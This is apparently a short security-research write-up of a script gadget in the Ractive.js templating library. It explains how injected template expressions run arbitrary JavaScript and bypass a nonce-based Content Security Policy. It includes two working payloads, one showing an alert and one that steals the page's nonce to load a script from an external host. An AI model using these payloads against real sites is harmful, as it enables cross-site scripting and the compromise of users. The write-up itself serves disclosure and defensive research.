It”s a JavaScript library for building reactive user interfaces in a way that doesn”t force you into a particular framework”s way of thinking. It takes a radically different approach to DOM manipulation - one that saves both you and the browser unnecessary work.
The Ractive framework uses the template attribute value as a query selector for <script> elements. It then renders the content of the selected template.
Due to the way the templating system works, it is possible to execute arbitrary scripts through the template.
<div id="app"></div>
<!-- user input -->
<script id="template">{{@global.window.alert(@global.document.domain)}}</script>
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/[email protected]/ractive.min.js"></script>
<script nonce="secret">
const ractive = new Ractive({
target: "#app",
template: "#template",
data: {
name: "World"
}
});
</script>It is also possible to retrieve the nonce from the current script element and use it to load a script.
<div id="app"></div>
<!-- user input -->
<script id="template"><script nonce="{{@global.document.currentScript.nonce}}" src="https://gmsgadget.com/assets/xss/index.js" /></script>
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/[email protected]/ractive.min.js"></script>
<script nonce="secret">
const ractive = new Ractive({
target: "#app",
template: "#template",
data: {
name: "World"
}
});
</script>Related links:
Found by @slekies, @kkotowicz, @sirdarckcat.